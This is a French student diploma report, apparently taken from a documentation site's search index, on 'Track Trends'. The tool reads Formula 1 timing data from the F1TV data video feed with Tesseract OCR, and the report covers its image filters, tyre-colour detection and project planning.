\"Temps au tour apr\u00e8s Resize\" 3: Comme le Resize am\u00e8ne du flou, j'utilise une methode de Dilatation qui me permet de retirer ce flou et de remplir un peu plus certaines parties qui ont \u00e9t\u00e9 un peu laiss\u00e9e par le Resize ; \"Temps au tour apr\u00e8s Dilatation\" 4: Contrairement aux mots plus haut, la rondeur ajout\u00e9e par la dilatation n'est pas vraiment d\u00e9sir\u00e9e. En effet, elle peut rendre confuse certains chiffres et emp\u00eacher Tesseract de bien trouver le chiffre. Alors j'applique une Erosion qui me permet de contrecarrer en partie les rondeurs ajout\u00e9es par la dilatation et retrouver des chiffres bien form\u00e9es. Pour l' Erosion et la Dilatation j'ai utilis\u00e9 une valeur de 1 car je ne voulais pas trop changer les chiffres. \"Temps au tour apr\u00e8s Erosion\" Explication des methodes pr\u00e9cises plus bas Et avec ce post processing on retrouve de plut\u00f4ts bon r\u00e9sultats qui demandent peu de traitement. Le traitement d\u00e9pend du type de WINDOW cependant. Pour les secteurs on indique \u00e0 Tesseract que les caract\u00e8res autoris\u00e9s sont : \"0123456789.\" Pour les temps au tour on autorise plut\u00f4t \"0123456789.:\" Et pour les \u00e9carts on autorise \"0123456789.+\" Ensuite on r\u00e9cup\u00e8re une liste de chiffres qui'il va falloir transformer en milisecondes pour faciliter le stockage et l'envoi. Le programme nettoie un peu la chaine avant de la convertir. Par exemple parfois le ':' de 1:34.456 est compris comme un '1' ou un '2' et il faut faire attention \u00e0 detecter quand ca arriver. Je passe les d\u00e9tails du reste du nettoyage car c'est vraiment du cas par cas mais quand on a finit de nettoyer la chaine on peut transformer les chaines de minutes secondes et milisecondes en un total de milisecondes. Pour r\u00e9sumer le fonctionnement dans l'ordre : On prend l'image et on lui applique une s\u00e9rie de filtres On envoie l'image filtr\u00e9e \u00e0 Tesseract On nettoie le r\u00e9sultat Tesseract pour compenser certains biais On convertis le r\u00e9sultat en milisecondes Pneus La on arrive sur la partie la plus p\u00e9nible. Pour comprendre la probl\u00e9matique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1. Depuis 2019 en Formule 1 nous avons 5 grandes familles de pneus : Les pneus tendres Les pneus medium Les pneus durs Les pneus interm\u00e9diaires Les pneus pluie \"Gamme de pneus Pirelli\" Les trois premiers pneus sont des pneus faits pour piste s\u00e8che, le pneu interm\u00e9diaire pour piste humide et le neu pluie pour la pluie. Chaque pneu a sa dur\u00e9e de vie et son niveau de performance propre mais je ne vais pas rentrer dans le d\u00e9tail ici. Tout ce qu'il faut savoir ce que savoir sur quel pneu chaque pilote est et depuis combien de temps il les chausse est une information tr\u00e8s importante. Chaque pneu a une couleur donn\u00e9e qui permet de les diff\u00e9rencier. Voici un exemple de ce \u00e0 quoi une WINDOW de pneus peut ressembler : \"Exemple zone pneus 1\" Mais cette zone peut aussi ressembler \u00e0 ca : \"Exemple zone pneus 2\" Mais aussi \u00e0 ca : \"Exemple zone pneus 3\" Voire m\u00eame ca : \"Exemple zone pneus 4\" Je pense que vous pouvez tout de suite comprendre la difficult\u00e9 que repr\u00e9sente la t\u00e2che de r\u00e9cup\u00e8ration de donn\u00e9es \u00e0 partir de cette image. En gros le fonctionnement de cette zone d'information est assez simple. Au fur et \u00e0 mesure que la course avance, le trait fait de m\u00eame. Le chiffre dans le round tout \u00e0 droite indique le nombre de tour que le pilote a pass\u00e9 sur ce pneu. La couleur indique le type de pneu. Si il y a une lettre \u00e0 la place d'un chiffre c'est que c'est le premier tour sur ce pneu. La lettre indique le type de pneu. Et pas besoin de dire que si on essaie simplement de donner l'image \u00e0 Tesseract on ne r\u00e9cup\u00e8re ni les chiffres ni les lettres correctement si ce n'est pas du tout. Il faut donc utiliser une methode qui permette d'isoler le rond le plus \u00e0 droite, lui appliquer un traitement qui permette \u00e0 Tesseract de lire ce qu'il y a marqu\u00e9 et qui puisse determiner quel pneu est en train d'\u00eatre utilis\u00e9. J'ai d\u00e9cid\u00e9 de m'occuper dans un premier temps de trouver ce rond avant d'appliquer les filtres car plus l'image est petite plus les filtres sont rapides. Le programme va tirer un trait depuis le bord droit de la zone, et il va avancer vers la gauche jusqu'\u00e0 trouver un obstacle. Je d\u00e9tecte un obstacle si le pixel sur lequel est mon trait poss\u00e8de une valeur de plus de 0x50 dans le channel R,G ou B. J'ai trouv\u00e9 en faisant des tests que les couleurs de background de la F1TV ne d\u00e9passaient jamais ces valeurs. Ensuite apr\u00e8s avoir trouv\u00e9 le premier obstacle, je r\u00e9cup\u00e8re une zone qui doit englober le cercle. Voici un exemple avec cette image en entr\u00e9e : \"Zone compl\u00eate\" Elle est automatiquement coup\u00e9e de cette facon : \"Zone coup\u00e9e automatiquement\" Cela me permet d'isoler uniquement ce qui m'int\u00e9resse ce qui est tr\u00e8s pratique pour Tesseract et pour la detection de couleur. Ensuite avec cette image je peux commencer le processus de reconnaissance. Je commence par faire une moyenne de tous les pixels de l'image en excluant les pixels trop sombres qui font s\u00fbrement partie du background ou du chiffre. Ensuite j'utilise une methode qui calcule la diff\u00e9rence entre la couleur obbtenue et la liste de couleurs possible. Il y a cinq couleurs des pneus possibles : \"#ff0000\" pneu tendre/soft \"Couleur d'un pneu tendre\" \"#f5bf00\" pneu medium \"Couleur d'un pneu medium\" \"#a4a5a8\" pneu dur/hard \"Couleur d'un pneu dur\" \"#00a42e\" pneu inter \"Couleur d'un pneu interm\u00e9diaire\" \"#2760a6\" pneu pluie/wet \"Couleur d'un pneu pluie\" Ce qui est pratique c'est que m\u00eame dans les cas ou il n'y a pas beaucoup de couleur comme celui la : \"Pneu dur avec 0 tours\" On arrive \u00e0 une couleur moyenne de : \"Couleur moyenne de l'image ci dessus apr\u00e8s soustraction du background\" Et il est donc assez facile de determiner le type de pneu en question. Attention, les r\u00e9sultats peuvent \u00eatre tr\u00e8s vite d\u00e9rang\u00e9s par la couleur du pneu pr\u00e9c\u00e9dent si le d\u00e9coupage de la fen\u00eatre n'a pas \u00e9t\u00e9 assez pr\u00e9cis. Ensuite il \"suffit\" de lire le chiffre dans le rond et si on arrive pas \u00e0 le lire alors c'est que c'est une lettre et on sait que le nombre de tours est donc de 0. Maintenant vient le moment tr\u00e8s sympatique de la lecture du chiffre. Vous saurez que Tesseract en plus de detester les grandes images et les images avec des couleurs, deteste \u00e9galement les formes dans une image. Donc dans notre cas, le round de couleur autour du chiffre, m\u00eame si il n'est pas complet, il interf\u00e8re avec la reconnaissance et emp\u00eache de bien lire le chiffre. Il faut donc retirer le background et ensuite la couleur. Sauf que comme le chiffre est de la couleur du background, si on retire le background et ensuite la couleur il ne reste plus rien. Il faut donc retirer le background AUTOUR du rond, et ensuite si on retire la couleur il devrait rester le chiffre sur fond blanc. Pour se faire, j'ai tir\u00e9 des traits depuis les bords de l'image jusqu'\u00e0 ce qu'ils rencontrent le rond. Ensuite je retire tous les pixels entre le rond et les bords de l'image ce qui nous donne ceci : \"Zone pneu avec le background en moins\" Ensuite on peu retirer les pixels qui ont une valeur dans un channel RGB plus haute qu'un certain seuil : \"Zone avec le reste des couleurs supprimm\u00e9es\" Et la on a ce que l'on veut ! A partir de la c'est les filtres que l'on connait qui sont utilis\u00e9s pour en faire une image plus facile \u00e0 utiliser par Tesseract. 1 : On effectue un Resize de facteur 4 (oui c'est beaucoup mais en m\u00eame temps le chiffre est vraiment petit \u00e0 la base) qui permet d'avoir une image d'une bien meilleure r\u00e9solution. \"Filtre 1\" 2: On fait une Dilatation de facteur 1 pour retirer tout le flou de l'image pour aider Tesseract \"Resultat\" Et on a un chiffre qui est utilisable par Tesseract ! Explication des methodes pr\u00e9cises plus bas Pour r\u00e9sumer : On prend l'image de la zone et on la crop pour ne garder que la partie essentielle On d\u00e9termine le type de pneu avec la couleur moyenne de la zone On retire le background autour de cette zone On retire la couleur qui reste pour ne garder que le chiffre On augmente la r\u00e9solution du chiffre On rend ce chiffre net On envoie l'image trait\u00e9e et filtr\u00e9e \u00e0 Tesseract On d\u00e9termine le nombre de tours que le pilote a fait avec ses pneus avec le r\u00e9sultat de Tesseract DRS Bon ca c'\u00e9tait plut\u00f4t simple j'ai simplement v\u00e9rifi\u00e9 si la moyenne de vert d\u00e9passait une certaine valeur et puis voila. Filtres et methodes sur les images Dans ce projet on a du utiliser diff\u00e9rentes methodes d'\u00e9dition d'image que ce soit sous forme de filtres ou de modification de l'image directement. Voici un sommaire des methodes utilis\u00e9es et comment elles fonctionnent. Tresholding Cette methode sert \u00e0 passer d'une image en couleurs \u00e0 une image binaire noir blanc. C'est une \u00e9tape tr\u00e8s importante pour l'OCR car elle permet (si bien faite) d'isoler du texte de son background. Un exemple ici : \"Exemple treshold\" Le fonctionnement est assez simple mais il peut \u00eatre fait de diff\u00e9rentes mani\u00e8res mais dans mon cas voici comment l'algorythme fonctionne sachant qu'il demande en entr\u00e9e la Bitmap que l'on veut modifier ainsi que la valeur de Treshold : On parcours chaque pixel de l'image On convertir la couleur du pixel en une valeur de gris pour avoir la m\u00eame valeur en R,G et B (Formule utilis\u00e9e : grey = R x 0.3 + G x 0.59 + B x 0.11) Si le r\u00e9sultat de la valeur de gris est au dessus de la valeur de treshold, le pixel est pass\u00e9 en blanc complet et dans le cas contraire il est pass\u00e9 en noir complet On retourne la Bitmap modifi\u00e9e Un algorythme pas forc\u00e9ment complexe mais qui peut augmenter de mani\u00e8re titanesque les chances de r\u00e9ussir une OCR Resize Cette methode sert \u00e0 augmenter la r\u00e9solution d'une image pour am\u00e9liorer la pr\u00e9cision de l'algorythme de Tesseract. En effet, avec trop peu de pixels, la matrice de convolution n'est pas toujours aussi efficace. Il ne faut pas confondre cette methode d'augmentation de la taille avec une simple interpolation. En effet une augmentation de taille interpol\u00e9e ne vas pas vraiment changer la r\u00e9solution, l'image sera toujours aussi pixelis\u00e9e, seulement, les pixels seront compos\u00e9es de plus de pixels comme dans l'exemple ci dessous : \"Exemple d'interpolation lin\u00e9aire\" Dans mon projet j'utilise de l'interpolation bicubique qui va cr\u00e9er de l'information pour tenter de combler le vide et produire une image r\u00e9ellement plus grande et avec plus de details mais en ajoutant du flou. \"Exemple des diff\u00e9rents types d'interpolation\" Le but est d'aller chercher dans les pixels alentours les couleurs qui sont d\u00e9ja pr\u00e9sente et de jouer avec des poids pour tenter de faire une pr\u00e9diction de ce que ce pixel aurait \u00e9t\u00e9 si l'image avait plus de detail. Voici un exemple assez parlant : \"Exemple interpolation bicubique (avant)\" \"Exemple interpolation bicubique (apr\u00e8s)\" On pourrait croire que c'est inutile mais dans le contexte de Tesseract ajouter des d\u00e9tails pour tenter de simuler une meilleure r\u00e9solution m\u00eame en cr\u00e9ant du flou est int\u00e9ressant pour mieux remplir la matrice de convolution. Mais il est possible de r\u00e9duire ce flou avec d'autres m\u00e9thodes \u00e9galement. (Dans mon code je n'ai pas utilis\u00e9 du code fait main mais j'utilise une librairie qui me permet de le faire) Il faut simplement faire attention car c'est un proc\u00e9d\u00e9 assez lourd en performances. Dilatation et Erosion Cette methode et la suivante font partie des methodes de transformation morphologiques. Ces methodes sont utilis\u00e9es pour accentuer les formes et les epaissir ou les r\u00e9duire et les affiner. Elles poss\u00e8dent l'aventage \u00e9galement de retirer le flou d'une image ce qui est tr\u00e8s pratique si utilis\u00e9 apr\u00e8s l'utilisation de methodes comme Resize . Je ne vais pas trop rentrer dans les d\u00e9tails de ces methodes car leur fonctionnement est un peu plus lourd en math si on veut faire une v\u00e9ritable explication du pourquoi et du comment ca marche aussi bien. Pour notre projet je dirais que l'important est de savoir que ce sont deux outils tr\u00e8s pratiques pour changer la morphologie des lettres et des chiffres et qu'on peut les utiliser pour corriger du flou et/ou des art\u00e9facts apparus lors de la binarisation de l'image ou de la suppression de fond. Remove Background Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente \u00e0 celle d'un pixel de fond il est pass\u00e9 en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues. Une variante sp\u00e9cialis\u00e9e pour la reconnaissance des pneus appel\u00e9e affectueusement Remove Useless cherche \u00e0 atteindre le m\u00eame bu mais est bien plus soffistiqu\u00e9e et sp\u00e9cialis\u00e9e pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus. Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du d\u00e9velopper mais que je n'ai pas utilis\u00e9 donc je ne vais pas en parler ici. Interpr\u00e9tation des donn\u00e9es Stockage des donn\u00e9es Affichage des donn\u00e9es Pr\u00e9dictions Tests [A remplir au fur et \u00e0 mesure de la cr\u00e9ation des tests] R\u00e9sum\u00e9 des difficult\u00e9s techniques [A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me] Optimisation du programme [A remplir \u00e0 la fin du projet pour parler des diff\u00e9rentes methodes d'optimisation] Ethique du projet [A remplir \u00e0 la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)] Am\u00e9liorations futures [A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Conclusion [A remplir la derni\u00e8re semaine du travail de dipl\u00f4me]","title":"Rapport Track Trends V1.0"},{"location":"index.html#rapport-track-trends-v10","text":"Rohmer Maxime Travail de dipl\u00f4me Technicien ES 2023","title":"Rapport Track Trends V1.0"},{"location":"index.html#introduction","text":"","title":"Introduction"},{"location":"index.html#resume","text":"Track Trends est un outil de r\u00e9cup\u00e9ration et d'analyse de donn\u00e9es de courses de Formule 1. Pour le contexte, en dehors des cours, j'exerce diff\u00e9rentes activit\u00e9s dont celle de Live Ticker F1 pour le 20 minutes. Pour m'aider dans ce travail, j'utilise actuellement la F1TV \u00e0 laquelle je suis abonn\u00e9 qui me propose non seulement un feed vid\u00e9o de meilleure qualit\u00e9 avec des commentaires plus pertinents que ceux de la RTS mais qui aussi me permet d'acc\u00e9der \u00e0 un feed vid\u00e9o tr\u00e8s important : la chaine data. Ce dernier ressemble \u00e0 cela : \"Screenshot du feed data de la f1tv\" (Attention ce n'est pas un joli tableau HTML, mais bien une vid\u00e9o qui contient un tableau.) Sauf que toutes les informations sont \u00e9tal\u00e9es p\u00eale-m\u00eale sans hi\u00e9rarchie ce qui fait que cela me prendrait trop de temps de tout d\u00e9chiffrer \u00e0 chaque fois, ce qui me fait rater des choses int\u00e9ressantes. Le but du projet est donc de fournir un outil qui hi\u00e9rarchise et affiche diff\u00e9remment les donn\u00e9es pour faciliter leur lecture et me permettre de faire de meilleurs commentaires.","title":"R\u00e9sum\u00e9"},{"location":"index.html#abstract","text":"Track Trends is a Formula 1 data is a tool that displays and interpret data. To understand everything,first ,a little bit of context. In my free time I have multiple activities and one is to be the Live Ticker F1 for the local journal \"20 minutes\" (Owned by Tamedia). to help me in this work I'm currently using the F1TV to which I'm currently subscribed because it provides me with a better video feed with better commentary than the ones from the RTS (in my opinion) but also because it gives me access to a very important video feed : the data channel You can see in the chapter above an example of the F1TV DATA CHANNEL. [Note : Even tough it looks like a pretty HTML table on wich you could easely get infos... Its not. Its a video feed] You can see a lot of data all well and good BUT! All the data is displayed the same in a big table which make it really hard to read totally in a hurry, which means that I miss a lot of useful information. The point of the project then is to provide a tool that can display those data by taking into account their relevance. So for example a driver that is 10s away from everyone and that is doing some normal lapTimes will be less displayed or even not displayed at all so I can focus on the drivers that are battling each others. This tool would help me not miss the battles and details that are happening in the back and therefore not being broadcasted on TV.And it could be a usefull tool for anyone who wants a better insight of how the race is going by looking at the data. This kind of project already exists in the form of the AWS tool \"F1 Insight\" but it is not avaible to the public. We can only see some of its predictions (that are trash) and data dumps in the live feed when the TV directors feel like it.","title":"Abstract"},{"location":"index.html#description-du-besoin","text":"Comme expliqu\u00e9 dans le r\u00e9sum\u00e9, je suis Live Ticker F1. Mais pour mieux comprendre le besoin que j'ai, je pense qu'il est pertinent de comprendre comment je travaille. Pendant un Grand Prix de Formule 1 j'ai plusieurs t\u00e2ches \u00e0 effectuer : Suivre les diff\u00e9rents \u00e9v\u00e8nements du Grand Prix Changer le titre et la photo de titre du Live Chercher des Tweets ou des Images \u00e0 int\u00e9grer Ecrire les commentaires en faisant attention \u00e0 dire ce qu'il se passe mais aussi l\u2019expliquer, ce que cela implique, mais aussi ce que cela veut dire pour le reste de la course. Comprendre et expliquer les strat\u00e9gies Tout cela toutes les cinq minutes max... Cela veut dire que je dois \u00eatre le plus rapide possible quand je cherche des informations. Et comme le tableau en comporte trop et bien, je suis oblig\u00e9 de le lire en diagonale. Par exemple dans le tableau, les infos que je cherche le plus sont : Le nombre de places gagn\u00e9es (surtout au d\u00e9part) Les \u00e9carts entre les pilotes (surtout ceux qui sont en dessous de deux secondes). Les pneus de chaque pilote et combien de tours, ils ont fait dessus Les temps d'arr\u00eats aux stands Les temps au tour (surtout pour la strat\u00e9gie) Mais pleins d'autres informations existent si on les recoupe sur plusieurs tours. Un outil qui permettrait de mettre en \u00e9vidence les informations importantes serait donc une tr\u00e8s grosse plus-value pour mon travail et s'il est facile \u00e0 installer et \u00e0 utiliser, il se pourrait qu'il devienne indispensable.","title":"Description du besoin"},{"location":"index.html#cahier-des-charges","text":"Il s'agit d'une version coup\u00e9e du cahier des charges qui ne contient pas l'explication du contexte. Mais l'original est disponible sur ce site \u00e9galement. Il est toutefois normal d'y voir des choses r\u00e9p\u00e9t\u00e9es ou l\u00e9g\u00e8rement diff\u00e9rentes, en effet, il n'a pas \u00e9t\u00e9 \u00e9crit en m\u00eame temps que le reste de ce document.","title":"Cahier des charges"},{"location":"index.html#projet","text":"Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples : Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents","title":"Projet"},{"location":"index.html#realisation","text":"Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Exemple de la Data Channel\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Protype de l'app fait sur Figma\"","title":"R\u00e9alisation"},{"location":"index.html#cas-dutilisation","text":"'*'On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes","title":"Cas d'utilisation"},{"location":"index.html#difficultes-techniques","text":"R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Difficult\u00e9s techniques"},{"location":"index.html#differences-sur-le-cahier-des-charges","text":"[\u00c0 remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Diff\u00e9rences sur le cahier des charges"},{"location":"index.html#planning-previsionnel","text":"Mes suiveurs m'ont demand\u00e9 un planning de type GANTT pour ce travail de dipl\u00f4me Je n'ai pas utilis\u00e9 un logiciel particulier pour faire ce dernier, mais je me suis inspir\u00e9 des principes fondamentaux d'un diagramme de ce type. Comme l'original a \u00e9t\u00e9 fait sur Excel, je ne peux pas vraiment l'ins\u00e9rer de mani\u00e8re lisible ici, mais il est disponible dans le dossier Planning. Mais voici un r\u00e9sum\u00e9 de son contenu :","title":"Planning pr\u00e9visionnel"},{"location":"index.html#taches","text":"J'ai d\u00e9cid\u00e9 de d\u00e9composer mon planning en trois grands types de t\u00e2ches. Programmation Documentation Tests L'id\u00e9e est de permettre une meilleure lisibilit\u00e9 et de me permettre \u00e0 moi de me faire plus facilement \u00e0 l'id\u00e9e de ce qu'il m'attend. Voici la liste des t\u00e2ches par rubrique :","title":"T\u00e2ches"},{"location":"index.html#pt","text":"Cette rubrique contient les t\u00e2ches qui n'ont pas leur place dans les trois cat\u00e9gories principales.","title":"PT"},{"location":"index.html#pt1-preparation-au-travail-de-diplome-2","text":"Cette t\u00e2che est un peu hors cat\u00e9gorie, mais c'est normal, c'est une supert\u00e2che qui regroupe beaucoup de choses. C'est une t\u00e2che qui est planifi\u00e9e pour deux jours et qui normalement devrait \u00eatre faite les deux premiers jours du travail. Le but est de pr\u00e9parer tout ce qui peut \u00eatre pr\u00e9par\u00e9 en avance niveau documentation et mise en place pour ne pas avoir besoin de s'en soucier ensuite.","title":"PT1 / pr\u00e9paration au travail de dipl\u00f4me (2)"},{"location":"index.html#dt","text":"Rubrique documentation qui contient toutes les t\u00e2ches en rapport de pr\u00e8s ou de loin avec la documentation du projet.","title":"DT"},{"location":"index.html#dt1-creation-du-poster-1","text":"Cette t\u00e2che consiste \u00e0 faire une version num\u00e9rique du poster qui soit en accord avec les consignes qu'on nous a donn\u00e9es. Le but est aussi et surtout de faire poster dont je sois fier et que je sois content de montrer. Il y a d\u00e9j\u00e0 des croquis de poster et j'ai clairement pr\u00e9vu de travailler sur \u00e7a pendant les vacances alors, je n'ai mis qu'un jour et je l'ai plac\u00e9 juste avant le rendu de ce dernier.","title":"DT1 Cr\u00e9ation du poster (1)"},{"location":"index.html#dt2-documentation-analyse-de-lexistant-2","text":"Cette t\u00e2che est d\u00e9di\u00e9e \u00e0 l'\u00e9criture de la documentation et plus pr\u00e9cis\u00e9ment de l'analyse de l'existant. Comme il y a pas mal de technologies utilis\u00e9es dans mon projet, j'aimerais faire correctement un vrai debrief de pourquoi j'ai utilis\u00e9 l'une ou l'autre alors, j'ai assign\u00e9 deux jours dessus.","title":"DT2 Documentation Analyse de l'existant (2)"},{"location":"index.html#dt3-documentation-analyse-organique-5","text":"Cette t\u00e2che est la plus grosse dans la cat\u00e9gorie documentation. Il s'agit de documenter comment l'application fonctionne. J'y ai mis cinq jours et je pense que c'est un minimum car c'est dans cette t\u00e2che que je vais devoir d\u00e9tailler exactement comment fonctionne chaque partie du projet. Ces cinq jours sont \u00e9parpill\u00e9s sur le projet en g\u00e9n\u00e9ral \u00e0 la fin du d\u00e9veloppement de chaque grande partie de projet. Le but est de ne rien oublier et de ne pas avoir \u00e0 tout faire en m\u00eame temps.","title":"DT3 Documentation Analyse organique (5)"},{"location":"index.html#dt4-documentation-analyse-fonctionnelle-2","text":"Cette t\u00e2che est d\u00e9j\u00e0 moins grosse, elle consiste \u00e0 documenter le fonctionnement de l'application et comment utiliser les composants que j'ai d\u00e9velopp\u00e9s. Je l'ai mis en fin de projet, car comme j'ai l'habitude de faire des analyses fonctionnelles plut\u00f4t pr\u00e9cises, le moindre changement dans l'UI peut tout rendre obsol\u00e8te. J'y ai mis deux jours, car j'aimerais correctement documenter avec de bonnes photos et sc\u00e9narios pour qu'on puisse voir toutes les possibilit\u00e9s de l'application.","title":"DT4 Documentation Analyse fonctionnelle (2)"},{"location":"index.html#dt5-documentation-tests-1","text":"Cette t\u00e2che est un peu plus petite qu'elle ne le devrait. Elle concerne la documentation des diff\u00e9rents tests. Je n'y ai mis qu'un seul jour, car en r\u00e9alit\u00e9 les diff\u00e9rentes t\u00e2ches de tests contiennent aussi beaucoup de documentation,","title":"DT5 Documentation Tests (1)"},{"location":"index.html#dt6-documentation-reste-2","text":"Cette t\u00e2che est une t\u00e2che un peu vague. Elle contient toutes les actions autres que j'aurai besoin de faire (Mise au propre, orthographe, g\u00e9n\u00e9ration de PDF ...). J'y ai mis deux jours pour avoir un peu de marge, car ce sont toujours des t\u00e2ches qui paraissent faciles, mais qui \u00e0 la fin prennent beaucoup de temps si on les fait bien.","title":"DT6 Documentation Reste (2)"},{"location":"index.html#pt_1","text":"Rubrique programmation qui contient toutes les t\u00e2ches qui touchent \u00e0 la programmation et au d\u00e9veloppement de l'application.","title":"PT"},{"location":"index.html#pt1-programmation-recuperation-des-images-3","text":"Cette t\u00e2che est estim\u00e9e \u00e0 seulement trois jours, il ne faut pas s'y m\u00e9prendre, c'est une des t\u00e2ches les plus dures et lourdes niveaux documentation en explications. Cependant, un POC (Proof Of Concept) assez avanc\u00e9 a d\u00e9j\u00e0 \u00e9t\u00e9 fait et donc cela permet de n'envisager que trois jours, car il suffit de l'impl\u00e9menter et de la paufinner. Cette t\u00e2che consiste \u00e0 prendre en entr\u00e9e un lien de Grand Prix et de sortir une image tous les x secondes de la page 